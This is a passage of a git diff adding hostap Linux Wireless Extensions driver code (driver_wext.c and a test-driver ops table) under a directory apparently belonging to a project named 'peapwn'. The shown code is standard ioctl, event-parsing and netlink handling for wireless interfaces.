.hapd_set_ssid = test_driver_set_ssid, + .set_privacy = test_driver_set_privacy, + .set_sta_vlan = test_driver_set_sta_vlan, + .sta_add = test_driver_sta_add, + .send_ether = test_driver_send_ether, + .set_ap_wps_ie = test_driver_set_ap_wps_ie, + .get_bssid = wpa_driver_test_get_bssid, + .get_ssid = wpa_driver_test_get_ssid, + .set_key = wpa_driver_test_set_key, + .deinit = wpa_driver_test_deinit, + .set_param = wpa_driver_test_set_param, + .deauthenticate = wpa_driver_test_deauthenticate, + .associate = wpa_driver_test_associate, + .get_capa = wpa_driver_test_get_capa, + .get_mac_addr = wpa_driver_test_get_mac_addr, + .send_eapol = wpa_driver_test_send_eapol, + .mlme_setprotection = wpa_driver_test_mlme_setprotection, + .get_scan_results2 = wpa_driver_test_get_scan_results2, + .global_init = wpa_driver_test_global_init, + .global_deinit = wpa_driver_test_global_deinit, + .init2 = wpa_driver_test_init2, + .get_interfaces = wpa_driver_test_get_interfaces, + .scan2 = wpa_driver_test_scan, + .set_freq = wpa_driver_test_set_freq, + .send_action = wpa_driver_test_send_action, + .remain_on_channel = wpa_driver_test_remain_on_channel, + .cancel_remain_on_channel = wpa_driver_test_cancel_remain_on_channel, + .probe_req_report = wpa_driver_test_probe_req_report, +#ifdef CONFIG_P2P + .p2p_find = wpa_driver_test_p2p_find, + .p2p_stop_find = wpa_driver_test_p2p_stop_find, + .p2p_listen = wpa_driver_test_p2p_listen, + .p2p_connect = wpa_driver_test_p2p_connect, + .wps_success_cb = wpa_driver_test_wps_success_cb, + .p2p_group_formation_failed = + wpa_driver_test_p2p_group_formation_failed, + .p2p_set_params = wpa_driver_test_p2p_set_params, +#endif /* CONFIG_P2P */ +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_wext.c b/peapwn/mods/hostap/src/drivers/driver_wext.c new file mode 100644 index 000000000..6e2e771b9 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_wext.c @@ -0,0 +1,2487 @@ +/* + * Driver interaction with generic Linux Wireless Extensions + * Copyright (c) 2003-2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file implements a driver interface for the Linux Wireless Extensions. + * When used with WE-18 or newer, this interface can be used as-is with number + * of drivers. In addition to this, some of the common functions in this file + * can be used by other driver interface implementations that use generic WE + * ioctls, but require private ioctls for some of the functionality. + */ + +#include "includes.h" +#include +#include +#include +#include +#include + +#include "linux_wext.h" +#include "common.h" +#include "eloop.h" +#include "common/ieee802_11_defs.h" +#include "common/wpa_common.h" +#include "priv_netlink.h" +#include "netlink.h" +#include "linux_ioctl.h" +#include "rfkill.h" +#include "driver.h" +#include "driver_wext.h" + +#ifdef ANDROID +#include "android_drv.h" +#endif /* ANDROID */ + +static int wpa_driver_wext_flush_pmkid(void *priv); +static int wpa_driver_wext_get_range(void *priv); +static int wpa_driver_wext_finish_drv_init(struct wpa_driver_wext_data *drv); +static void wpa_driver_wext_disconnect(struct wpa_driver_wext_data *drv); +static int wpa_driver_wext_set_auth_alg(void *priv, int auth_alg); + + +int wpa_driver_wext_set_auth_param(struct wpa_driver_wext_data *drv, + int idx, u32 value) +{ + struct iwreq iwr; + int ret = 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.param.flags = idx & IW_AUTH_INDEX; + iwr.u.param.value = value; + + if (ioctl(drv->ioctl_sock, SIOCSIWAUTH, &iwr) < 0) { + if (errno != EOPNOTSUPP) { + wpa_printf(MSG_DEBUG, "WEXT: SIOCSIWAUTH(param %d " + "value 0x%x) failed: %s)", + idx, value, strerror(errno)); + } + ret = errno == EOPNOTSUPP ? -2 : -1; + } + + return ret; +} + + +/** + * wpa_driver_wext_get_bssid - Get BSSID, SIOCGIWAP + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * @bssid: Buffer for BSSID + * Returns: 0 on success, -1 on failure + */ +int wpa_driver_wext_get_bssid(void *priv, u8 *bssid) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + + if (ioctl(drv->ioctl_sock, SIOCGIWAP, &iwr) < 0) { + perror("ioctl[SIOCGIWAP]"); + ret = -1; + } + os_memcpy(bssid, iwr.u.ap_addr.sa_data, ETH_ALEN); + + return ret; +} + + +/** + * wpa_driver_wext_set_bssid - Set BSSID, SIOCSIWAP + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * @bssid: BSSID + * Returns: 0 on success, -1 on failure + */ +int wpa_driver_wext_set_bssid(void *priv, const u8 *bssid) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.ap_addr.sa_family = ARPHRD_ETHER; + if (bssid) + os_memcpy(iwr.u.ap_addr.sa_data, bssid, ETH_ALEN); + else + os_memset(iwr.u.ap_addr.sa_data, 0, ETH_ALEN); + + if (ioctl(drv->ioctl_sock, SIOCSIWAP, &iwr) < 0) { + perror("ioctl[SIOCSIWAP]"); + ret = -1; + } + + return ret; +} + + +/** + * wpa_driver_wext_get_ssid - Get SSID, SIOCGIWESSID + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * @ssid: Buffer for the SSID; must be at least 32 bytes long + * Returns: SSID length on success, -1 on failure + */ +int wpa_driver_wext_get_ssid(void *priv, u8 *ssid) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.essid.pointer = (caddr_t) ssid; + iwr.u.essid.length = 32; + + if (ioctl(drv->ioctl_sock, SIOCGIWESSID, &iwr) < 0) { + perror("ioctl[SIOCGIWESSID]"); + ret = -1; + } else { + ret = iwr.u.essid.length; + if (ret > 32) + ret = 32; + /* Some drivers include nul termination in the SSID, so let's + * remove it here before further processing. WE-21 changes this + * to explicitly require the length _not_ to include nul + * termination. */ + if (ret > 0 && ssid[ret - 1] == '\0' && + drv->we_version_compiled < 21) + ret--; + } + + return ret; +} + + +/** + * wpa_driver_wext_set_ssid - Set SSID, SIOCSIWESSID + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * @ssid: SSID + * @ssid_len: Length of SSID (0..32) + * Returns: 0 on success, -1 on failure + */ +int wpa_driver_wext_set_ssid(void *priv, const u8 *ssid, size_t ssid_len) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0; + char buf[33]; + + if (ssid_len > 32) + return -1; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + /* flags: 1 = ESSID is active, 0 = not (promiscuous) */ + iwr.u.essid.flags = (ssid_len != 0); + os_memset(buf, 0, sizeof(buf)); + os_memcpy(buf, ssid, ssid_len); + iwr.u.essid.pointer = (caddr_t) buf; + if (drv->we_version_compiled < 21) { + /* For historic reasons, set SSID length to include one extra + * character, C string nul termination, even though SSID is + * really an octet string that should not be presented as a C + * string. Some Linux drivers decrement the length by one and + * can thus end up missing the last octet of the SSID if the + * length is not incremented here. WE-21 changes this to + * explicitly require the length _not_ to include nul + * termination. */ + if (ssid_len) + ssid_len++; + } + iwr.u.essid.length = ssid_len; + + if (ioctl(drv->ioctl_sock, SIOCSIWESSID, &iwr) < 0) { + perror("ioctl[SIOCSIWESSID]"); + ret = -1; + } + + return ret; +} + + +/** + * wpa_driver_wext_set_freq - Set frequency/channel, SIOCSIWFREQ + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * @freq: Frequency in MHz + * Returns: 0 on success, -1 on failure + */ +int wpa_driver_wext_set_freq(void *priv, int freq) +{ + struct wpa_driver_wext_data *drv = priv; + struct iwreq iwr; + int ret = 0; + + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->ifname, IFNAMSIZ); + iwr.u.freq.m = freq * 100000; + iwr.u.freq.e = 1; + + if (ioctl(drv->ioctl_sock, SIOCSIWFREQ, &iwr) < 0) { + perror("ioctl[SIOCSIWFREQ]"); + ret = -1; + } + + return ret; +} + + +static void +wpa_driver_wext_event_wireless_custom(void *ctx, char *custom) +{ + union wpa_event_data data; + + wpa_printf(MSG_MSGDUMP, "WEXT: Custom wireless event: '%s'", + custom); + + os_memset(&data, 0, sizeof(data)); + /* Host AP driver */ + if (os_strncmp(custom, "MLME-MICHAELMICFAILURE.indication", 33) == 0) { + data.michael_mic_failure.unicast = + os_strstr(custom, " unicast ") != NULL; + /* TODO: parse parameters(?) */ + wpa_supplicant_event(ctx, EVENT_MICHAEL_MIC_FAILURE, &data); + } else if (os_strncmp(custom, "ASSOCINFO(ReqIEs=", 17) == 0) { + char *spos; + int bytes; + u8 *req_ies = NULL, *resp_ies = NULL; + + spos = custom + 17; + + bytes = strspn(spos, "0123456789abcdefABCDEF"); + if (!bytes || (bytes & 1)) + return; + bytes /= 2; + + req_ies = os_malloc(bytes); + if (req_ies == NULL || + hexstr2bin(spos, req_ies, bytes) < 0) + goto done; + data.assoc_info.req_ies = req_ies; + data.assoc_info.req_ies_len = bytes; + + spos += bytes * 2; + + data.assoc_info.resp_ies = NULL; + data.assoc_info.resp_ies_len = 0; + + if (os_strncmp(spos, " RespIEs=", 9) == 0) { + spos += 9; + + bytes = strspn(spos, "0123456789abcdefABCDEF"); + if (!bytes || (bytes & 1)) + goto done; + bytes /= 2; + + resp_ies = os_malloc(bytes); + if (resp_ies == NULL || + hexstr2bin(spos, resp_ies, bytes) < 0) + goto done; + data.assoc_info.resp_ies = resp_ies; + data.assoc_info.resp_ies_len = bytes; + } + + wpa_supplicant_event(ctx, EVENT_ASSOCINFO, &data); + + done: + os_free(resp_ies); + os_free(req_ies); +#ifdef CONFIG_PEERKEY + } else if (os_strncmp(custom, "STKSTART.request=", 17) == 0) { + if (hwaddr_aton(custom + 17, data.stkstart.peer)) { + wpa_printf(MSG_DEBUG, "WEXT: unrecognized " + "STKSTART.request '%s'", custom + 17); + return; + } + wpa_supplicant_event(ctx, EVENT_STKSTART, &data); +#endif /* CONFIG_PEERKEY */ +#ifdef ANDROID + } else if (os_strncmp(custom, "STOP", 4) == 0) { + wpa_msg(ctx, MSG_INFO, WPA_EVENT_DRIVER_STATE "STOPPED"); + } else if (os_strncmp(custom, "START", 5) == 0) { + wpa_msg(ctx, MSG_INFO, WPA_EVENT_DRIVER_STATE "STARTED"); + } else if (os_strncmp(custom, "HANG", 4) == 0) { + wpa_msg(ctx, MSG_INFO, WPA_EVENT_DRIVER_STATE "HANGED"); +#endif /* ANDROID */ + } +} + + +static int wpa_driver_wext_event_wireless_michaelmicfailure( + void *ctx, const char *ev, size_t len) +{ + const struct iw_michaelmicfailure *mic; + union wpa_event_data data; + + if (len < sizeof(*mic)) + return -1; + + mic = (const struct iw_michaelmicfailure *) ev; + + wpa_printf(MSG_DEBUG, "Michael MIC failure wireless event: " + "flags=0x%x src_addr=" MACSTR, mic->flags, + MAC2STR(mic->src_addr.sa_data)); + + os_memset(&data, 0, sizeof(data)); + data.michael_mic_failure.unicast = !(mic->flags & IW_MICFAILURE_GROUP); + wpa_supplicant_event(ctx, EVENT_MICHAEL_MIC_FAILURE, &data); + + return 0; +} + + +static int wpa_driver_wext_event_wireless_pmkidcand( + struct wpa_driver_wext_data *drv, const char *ev, size_t len) +{ + const struct iw_pmkid_cand *cand; + union wpa_event_data data; + const u8 *addr; + + if (len < sizeof(*cand)) + return -1; + + cand = (const struct iw_pmkid_cand *) ev; + addr = (const u8 *) cand->bssid.sa_data; + + wpa_printf(MSG_DEBUG, "PMKID candidate wireless event: " + "flags=0x%x index=%d bssid=" MACSTR, cand->flags, + cand->index, MAC2STR(addr)); + + os_memset(&data, 0, sizeof(data)); + os_memcpy(data.pmkid_candidate.bssid, addr, ETH_ALEN); + data.pmkid_candidate.index = cand->index; + data.pmkid_candidate.preauth = cand->flags & IW_PMKID_CAND_PREAUTH; + wpa_supplicant_event(drv->ctx, EVENT_PMKID_CANDIDATE, &data); + + return 0; +} + + +static int wpa_driver_wext_event_wireless_assocreqie( + struct wpa_driver_wext_data *drv, const char *ev, int len) +{ + if (len < 0) + return -1; + + wpa_hexdump(MSG_DEBUG, "AssocReq IE wireless event", (const u8 *) ev, + len); + os_free(drv->assoc_req_ies); + drv->assoc_req_ies = os_malloc(len); + if (drv->assoc_req_ies == NULL) { + drv->assoc_req_ies_len = 0; + return -1; + } + os_memcpy(drv->assoc_req_ies, ev, len); + drv->assoc_req_ies_len = len; + + return 0; +} + + +static int wpa_driver_wext_event_wireless_assocrespie( + struct wpa_driver_wext_data *drv, const char *ev, int len) +{ + if (len < 0) + return -1; + + wpa_hexdump(MSG_DEBUG, "AssocResp IE wireless event", (const u8 *) ev, + len); + os_free(drv->assoc_resp_ies); + drv->assoc_resp_ies = os_malloc(len); + if (drv->assoc_resp_ies == NULL) { + drv->assoc_resp_ies_len = 0; + return -1; + } + os_memcpy(drv->assoc_resp_ies, ev, len); + drv->assoc_resp_ies_len = len; + + return 0; +} + + +static void wpa_driver_wext_event_assoc_ies(struct wpa_driver_wext_data *drv) +{ + union wpa_event_data data; + + if (drv->assoc_req_ies == NULL && drv->assoc_resp_ies == NULL) + return; + + os_memset(&data, 0, sizeof(data)); + if (drv->assoc_req_ies) { + data.assoc_info.req_ies = drv->assoc_req_ies; + data.assoc_info.req_ies_len = drv->assoc_req_ies_len; + } + if (drv->assoc_resp_ies) { + data.assoc_info.resp_ies = drv->assoc_resp_ies; + data.assoc_info.resp_ies_len = drv->assoc_resp_ies_len; + } + + wpa_supplicant_event(drv->ctx, EVENT_ASSOCINFO, &data); + + os_free(drv->assoc_req_ies); + drv->assoc_req_ies = NULL; + os_free(drv->assoc_resp_ies); + drv->assoc_resp_ies = NULL; +} + + +static void wpa_driver_wext_event_wireless(struct wpa_driver_wext_data *drv, + char *data, int len) +{ + struct iw_event iwe_buf, *iwe = &iwe_buf; + char *pos, *end, *custom, *buf; + + pos = data; + end = data + len; + + while (pos + IW_EV_LCP_LEN <= end) { + /* Event data may be unaligned, so make a local, aligned copy + * before processing. */ + os_memcpy(&iwe_buf, pos, IW_EV_LCP_LEN); + wpa_printf(MSG_DEBUG, "Wireless event: cmd=0x%x len=%d", + iwe->cmd, iwe->len); + if (iwe->len <= IW_EV_LCP_LEN) + return; + + custom = pos + IW_EV_POINT_LEN; + if (drv->we_version_compiled > 18 && + (iwe->cmd == IWEVMICHAELMICFAILURE || + iwe->cmd == IWEVCUSTOM || + iwe->cmd == IWEVASSOCREQIE || + iwe->cmd == IWEVASSOCRESPIE || + iwe->cmd == IWEVPMKIDCAND)) { + /* WE-19 removed the pointer from struct iw_point */ + char *dpos = (char *) &iwe_buf.u.data.length; + int dlen = dpos - (char *) &iwe_buf; + os_memcpy(dpos, pos + IW_EV_LCP_LEN, + sizeof(struct iw_event) - dlen); + } else { + os_memcpy(&iwe_buf, pos, sizeof(struct iw_event)); + custom += IW_EV_POINT_OFF; + } + + switch (iwe->cmd) { + case SIOCGIWAP: + wpa_printf(MSG_DEBUG, "Wireless event: new AP: " + MACSTR, + MAC2STR((u8 *) iwe->u.ap_addr.sa_data)); + if (is_zero_ether_addr( + (const u8 *) iwe->u.ap_addr.sa_data) || + os_memcmp(iwe->u.ap_addr.sa_data, + "\x44\x44\x44\x44\x44\x44", ETH_ALEN) == + 0) { + os_free(drv->assoc_req_ies); + drv->assoc_req_ies = NULL; + os_free(drv->assoc_resp_ies); + drv->assoc_resp_ies = NULL; + wpa_supplicant_event(drv->ctx, EVENT_DISASSOC, + NULL); + + } else { + wpa_driver_wext_event_assoc_ies(drv); + wpa_supplicant_event(drv->ctx, EVENT_ASSOC, + NULL); + } + break; + case IWEVMICHAELMICFAILURE: + if (custom + iwe->u.data.length > end) { + wpa_printf(MSG_DEBUG, "WEXT: Invalid " + "IWEVMICHAELMICFAILURE length"); + return; + } + wpa_driver_wext_event_wireless_michaelmicfailure( + drv->ctx, custom, iwe->u.data.length); + break; + case IWEVCUSTOM: + if (custom + iwe->u.data.length > end) { + wpa_printf(MSG_DEBUG, "WEXT: Invalid " + "IWEVCUSTOM length"); + return; + } + buf = dup_binstr(custom, iwe->u.data.length); + if (buf == NULL) + return; + wpa_driver_wext_event_wireless_custom(drv->ctx, buf); + os_free(buf); + break; + case SIOCGIWSCAN: + drv->scan_complete_events = 1; + eloop_cancel_timeout(wpa_driver_wext_scan_timeout, + drv, drv->ctx); + wpa_supplicant_event(drv->ctx, EVENT_SCAN_RESULTS, + NULL); + break; + case IWEVASSOCREQIE: + if (custom + iwe->u.data.length > end) { + wpa_printf(MSG_DEBUG, "WEXT: Invalid " + "IWEVASSOCREQIE length"); + return; + } + wpa_driver_wext_event_wireless_assocreqie( + drv, custom, iwe->u.data.length); + break; + case IWEVASSOCRESPIE: + if (custom + iwe->u.data.length > end) { + wpa_printf(MSG_DEBUG, "WEXT: Invalid " + "IWEVASSOCRESPIE length"); + return; + } + wpa_driver_wext_event_wireless_assocrespie( + drv, custom, iwe->u.data.length); + break; + case IWEVPMKIDCAND: + if (custom + iwe->u.data.length > end) { + wpa_printf(MSG_DEBUG, "WEXT: Invalid " + "IWEVPMKIDCAND length"); + return; + } + wpa_driver_wext_event_wireless_pmkidcand( + drv, custom, iwe->u.data.length); + break; + } + + pos += iwe->len; + } +} + + +static void wpa_driver_wext_event_link(struct wpa_driver_wext_data *drv, + char *buf, size_t len, int del) +{ + union wpa_event_data event; + + os_memset(&event, 0, sizeof(event)); + if (len > sizeof(event.interface_status.ifname)) + len = sizeof(event.interface_status.ifname) - 1; + os_memcpy(event.interface_status.ifname, buf, len); + event.interface_status.ievent = del ? EVENT_INTERFACE_REMOVED : + EVENT_INTERFACE_ADDED; + + wpa_printf(MSG_DEBUG, "RTM_%sLINK, IFLA_IFNAME: Interface '%s' %s", + del ? "DEL" : "NEW", + event.interface_status.ifname, + del ? "removed" : "added"); + + if (os_strcmp(drv->ifname, event.interface_status.ifname) == 0) { + if (del) { + if (drv->if_removed) { + wpa_printf(MSG_DEBUG, "WEXT: if_removed " + "already set - ignore event"); + return; + } + drv->if_removed = 1; + } else { + if (if_nametoindex(drv->ifname) == 0) { + wpa_printf(MSG_DEBUG, "WEXT: Interface %s " + "does not exist - ignore " + "RTM_NEWLINK", + drv->ifname); + return; + } + if (!drv->if_removed) { + wpa_printf(MSG_DEBUG, "WEXT: if_removed " + "already cleared - ignore event"); + return; + } + drv->if_removed = 0; + } + } + + wpa_supplicant_event(drv->ctx, EVENT_INTERFACE_STATUS, &event); +} + + +static int wpa_driver_wext_own_ifname(struct wpa_driver_wext_data *drv, + u8 *buf, size_t len) +{ + int attrlen, rta_len; + struct rtattr *attr; + + attrlen = len; + attr = (struct rtattr *) buf; + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_IFNAME) { + if (os_strcmp(((char *) attr) + rta_len, drv->ifname) + == 0) + return 1; + else + break; + } + attr = RTA_NEXT(attr, attrlen); + } + + return 0; +} + + +static int wpa_driver_wext_own_ifindex(struct wpa_driver_wext_data *drv, + int ifindex, u8 *buf, size_t len) +{ + if (drv->ifindex == ifindex || drv->ifindex2 == ifindex) + return 1; + + if (drv->if_removed && wpa_driver_wext_own_ifname(drv, buf, len)) { + drv->ifindex = if_nametoindex(drv->ifname); + wpa_printf(MSG_DEBUG, "WEXT: Update ifindex for a removed " + "interface"); + wpa_driver_wext_finish_drv_init(drv); + return 1; + } + + return 0; +} + + +static void wpa_driver_wext_event_rtm_newlink(void *ctx, struct ifinfomsg *ifi, + u8 *buf, size_t len) +{ + struct wpa_driver_wext_data *drv = ctx; + int attrlen, rta_len; + struct rtattr *attr; + char namebuf[IFNAMSIZ]; + + if (!wpa_driver_wext_own_ifindex(drv, ifi->ifi_index, buf, len)) { + wpa_printf(MSG_DEBUG, "Ignore event for foreign ifindex %d", + ifi->ifi_index); + return; + } + + wpa_printf(MSG_DEBUG, "RTM_NEWLINK: operstate=%d ifi_flags=0x%x " + "(%s%s%s%s)", + drv->operstate, ifi->ifi_flags, + (ifi->ifi_flags & IFF_UP) ? "[UP]" : "", + (ifi->ifi_flags & IFF_RUNNING) ? "[RUNNING]" : "", + (ifi->ifi_flags & IFF_LOWER_UP) ? "[LOWER_UP]" : "", + (ifi->ifi_flags & IFF_DORMANT) ? "[DORMANT]" : ""); + + if (!drv->if_disabled && !(ifi->ifi_flags & IFF_UP)) { + wpa_printf(MSG_DEBUG, "WEXT: Interface down"); + drv->if_disabled = 1; + wpa_supplicant_event(drv->ctx, EVENT_INTERFACE_DISABLED, NULL); + } + + if (drv->if_disabled && (ifi->ifi_flags & IFF_UP)) { + if (if_indextoname(ifi->ifi_index, namebuf) && + linux_iface_up(drv->ioctl_sock, drv->ifname) == 0) { + wpa_printf(MSG_DEBUG, "WEXT: Ignore interface up " + "event since interface %s is down", + namebuf); + } else if (if_nametoindex(drv->ifname) == 0) { + wpa_printf(MSG_DEBUG, "WEXT: Ignore interface up " + "event since interface %s does not exist", + drv->ifname); + } else if (drv->if_removed) { + wpa_printf(MSG_DEBUG, "WEXT: Ignore interface up " + "event since interface %s is marked " + "removed", drv->ifname); + } else { + wpa_printf(MSG_DEBUG, "WEXT: Interface up"); + drv->if_disabled = 0; + wpa_supplicant_event(drv->ctx, EVENT_INTERFACE_ENABLED, + NULL); + } + } + + /* + * Some drivers send the association event before the operup event--in + * this case, lifting operstate in wpa_driver_wext_set_operstate() + * fails. This will hit us when wpa_supplicant does not need to do + * IEEE 802.1X authentication + */ + if (drv->operstate == 1 && + (ifi->ifi_flags & (IFF_LOWER_UP | IFF_DORMANT)) == IFF_LOWER_UP && + !(ifi->ifi_flags & IFF_RUNNING)) + netlink_send_oper_ifla(drv->netlink, drv->ifindex, + -1, IF_OPER_UP); + + attrlen = len; + attr = (struct rtattr *) buf; + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_WIRELESS) { + wpa_driver_wext_event_wireless( + drv, ((char *) attr) + rta_len, + attr->rta_len - rta_len); + } else if (attr->rta_type == IFLA_IFNAME) { + wpa_driver_wext_event_link(drv, + ((char *) attr) + rta_len, + attr->rta_len - rta_len, 0); + } + attr = RTA_NEXT(attr, attrlen); + } +} + + +static void wpa_driver_wext_event_rtm_dellink(void *ctx, struct ifinfomsg *ifi, + u8 *buf, size_t len) +{ + struct wpa_driver_wext_data *drv = ctx; + int attrlen, rta_len; + struct rtattr *attr; + + attrlen = len; + attr = (struct rtattr *) buf; + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_IFNAME) { + wpa_driver_wext_event_link(drv, + ((char *) attr) + rta_len, + attr->rta_len - rta_len, 1); + } + attr = RTA_NEXT(attr, attrlen); + } +} + + +static void wpa_driver_wext_rfkill_blocked(void *ctx) +{ + wpa_printf(MSG_DEBUG, "WEXT: RFKILL blocked"); + /* + * This may be for any interface; use ifdown event to disable + * interface. + */ +} + + +static void wpa_driver_wext_rfkill_unblocked(void *ctx) +{ + struct wpa_driver_wext_data *drv = ctx; + wpa_printf(MSG_DEBUG, "WEXT: RFKILL unblocked"); + if (linux_set_iface_flags(drv->ioctl_sock, drv->ifname, 1)) { + wpa_printf(MSG_DEBUG, "WEXT: Could not set interface UP " + "after rfkill unblock"); + return; + } + /* rtnetlink ifup handler will report interface as enabled */ +} + + +static void wext_get_phy_name(struct wpa_driver_wext_data *drv) +{ + /* Find phy (radio) to which this interface belongs */ + char buf[90], *pos; + int f, rv; + + drv->phyname[0] = '\0'; + snprintf(buf, sizeof(buf) - 1, "/sys/class/net/%s/phy80211/name", + drv->ifname); + f = open(buf, O_RDONLY); + if (f < 0) { + wpa_printf(MSG_DEBUG, "Could not open file %s: %s", + buf, strerror(errno)); + return; + } + + rv = read(f, drv->phyname, sizeof(drv->phyname) - 1); + close(f); + if (rv < 0) { + wpa_printf(MSG_DEBUG, "Could not read file %s: %s", + buf, strerror(errno)); + return; + } + + drv->phyname[rv] = '\0'; + pos = os_strchr(drv->phyname, '\n'); + if (pos) + *pos = '\0'; + wpa_printf(MSG_DEBUG, "wext: interface %s phy: %s", + drv->ifname, drv->phyname); +} + + +/** + * wpa_driver_wext_init - Initialize WE driver interface + * @ctx: context to be used when calling wpa_supplicant functions, + * e.g., wpa_supplicant_event() + * @ifname: interface name, e.g., wlan0 + * Returns: Pointer to private data, %NULL on failure + */ +void * wpa_driver_wext_init(void *ctx, const char *ifname) +{ + struct wpa_driver_wext_data *drv; + struct netlink_config *cfg; + struct rfkill_config *rcfg; + char path[128]; + struct stat buf; + + drv = os_zalloc(sizeof(*drv)); + if (drv == NULL) + return NULL; + drv->ctx = ctx; + os_strlcpy(drv->ifname, ifname, sizeof(drv->ifname)); + + os_snprintf(path, sizeof(path), "/sys/class/net/%s/phy80211", ifname); + if (stat(path, &buf) == 0) { + wpa_printf(MSG_DEBUG, "WEXT: cfg80211-based driver detected"); + drv->cfg80211 = 1; + wext_get_phy_name(drv); + } + + drv->ioctl_sock = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->ioctl_sock < 0) { + perror("socket(PF_INET,SOCK_DGRAM)"); + goto err1; + } + + cfg = os_zalloc(sizeof(*cfg)); + if (cfg == NULL) + goto err1; + cfg->ctx = drv; + cfg->newlink_cb = wpa_driver_wext_event_rtm_newlink; + cfg->dellink_cb = wpa_driver_wext_event_rtm_dellink; + drv->netlink = netlink_init(cfg); + if (drv->netlink == NULL) { + os_free(cfg); + goto err2; + } + + rcfg = os_zalloc(sizeof(*rcfg)); + if (rcfg == NULL) + goto err3; + rcfg->ctx = drv; + os_strlcpy(rcfg->ifname, ifname, sizeof(rcfg->ifname)); + rcfg->blocked_cb = wpa_driver_wext_rfkill_blocked; + rcfg->unblocked_cb = wpa_driver_wext_rfkill_unblocked; + drv->rfkill = rfkill_init(rcfg); + if (drv->rfkill == NULL) { + wpa_printf(MSG_DEBUG, "WEXT: RFKILL status not available"); + os_free(rcfg); + } + + drv->mlme_sock = -1; + +#ifdef ANDROID + drv->errors = 0; + drv->driver_is_started = TRUE; + drv->bgscan_enabled = 0; +#endif /* ANDROID */ + + if (wpa_driver_wext_finish_drv_init(drv) < 0) + goto err3; + + wpa_driver_wext_set_auth_param(drv, IW_AUTH_WPA_ENABLED, 1); + + return drv; + +err3: + rfkill_deinit(drv->rfkill); + netlink_deinit(drv->netlink); +err2: + close(drv->ioctl_sock); +err1: + os_free(drv); + return NULL; +} + + +static void wpa_driver_wext_send_rfkill(void *eloop_ctx, void *timeout_ctx) +{ + wpa_supplicant_event(timeout_ctx, EVENT_INTERFACE_DISABLED, NULL); +} + + +static int wpa_driver_wext_finish_drv_init(struct wpa_driver_wext_data *drv) +{ + int send_rfkill_event = 0; + + if (linux_set_iface_flags(drv->ioctl_sock, drv->ifname, 1) < 0) { + if (rfkill_is_blocked(drv->rfkill)) { + wpa_printf(MSG_DEBUG, "WEXT: Could not yet enable " + "interface '%s' due to rfkill", + drv->ifname); + drv->if_disabled = 1; + send_rfkill_event = 1; + } else { + wpa_printf(MSG_ERROR, "WEXT: Could not set " + "interface '%s' UP", drv->ifname); + return -1; + } + } + + /* + * Make sure that the driver does not have any obsolete PMKID entries. + */ + wpa_driver_wext_flush_pmkid(drv); + + if (wpa_driver_wext_set_mode(drv, 0) < 0) { + wpa_printf(MSG_DEBUG, "Could not configure driver to use " + "managed mode"); + /* Try to use it anyway */ + } + + wpa_driver_wext_get_range(drv); + + /* + * Unlock the driver's BSSID and force to a random SSID to clear any + * previous association the driver might have when the supplicant + * starts up. + */ + wpa_driver_wext_disconnect(drv); + + drv->ifindex = if_nametoindex(drv->ifname); + + if (os_strncmp(drv->ifname, "wlan", 4) == 0) { + /* + * Host AP driver may use both wlan# and wifi# interface in + * wireless events. Since some of the versions included WE-18 + * support, let's add the alternative ifindex also from + * driver_wext.c for the time being. This may be removed at + * some point once it is believed that old versions of the + * driver are not in use anymore. + */ + char ifname2[IFNAMSIZ + 1]; + os_strlcpy(ifname2, drv->ifname, sizeof(ifname2)); + os_memcpy(ifname2, "wifi", 4); + wpa_driver_wext_alternative_ifindex(drv, ifname2); + } + + netlink_send_oper_ifla(drv->netlink, drv->ifindex, + 1, IF_OPER_DORMANT); + + if (send_rfkill_event) { + eloop_register_timeout(0, 0, wpa_driver_wext_send_rfkill, + drv, drv->ctx); + } + + return 0; +} + + +/** + * wpa_driver_wext_deinit - Deinitialize WE driver interface + * @priv: Pointer to private wext data from wpa_driver_wext_init() + * + * Shut down driver interface and processing of driver events. Free + * private data buffer if one was allocated in wpa_driver_wext_init(). + */ +void wpa_driver_wext_deinit(void *priv) +{ + struct wpa_driver_wext_data *drv = priv; + + wpa_driver_wext_set_auth_param(drv, IW_AUTH_WPA_ENABLED, 0); + + eloop_cancel_timeout(wpa_driver_wext_scan_timeout, drv, drv->ctx); + + /* + * Clear possibly configured driver parameters in order to make it + * easier to use the driver after wpa_supplicant has been terminated. + */ + wpa_driver_wext_disconnect(drv); + + netlink_send_oper_ifla(drv->netlink, drv->ifindex, 0, IF_OPER_UP); + netlink_deinit(drv->netlink); + rfkill_deinit(drv->rfkill); + + if (drv->mlme_sock >= 0) + eloop_unregister_read_sock(drv->mlme_sock); + + (void) linux_set_iface_flags(drv->ioctl_sock, drv->ifname, 0); + + 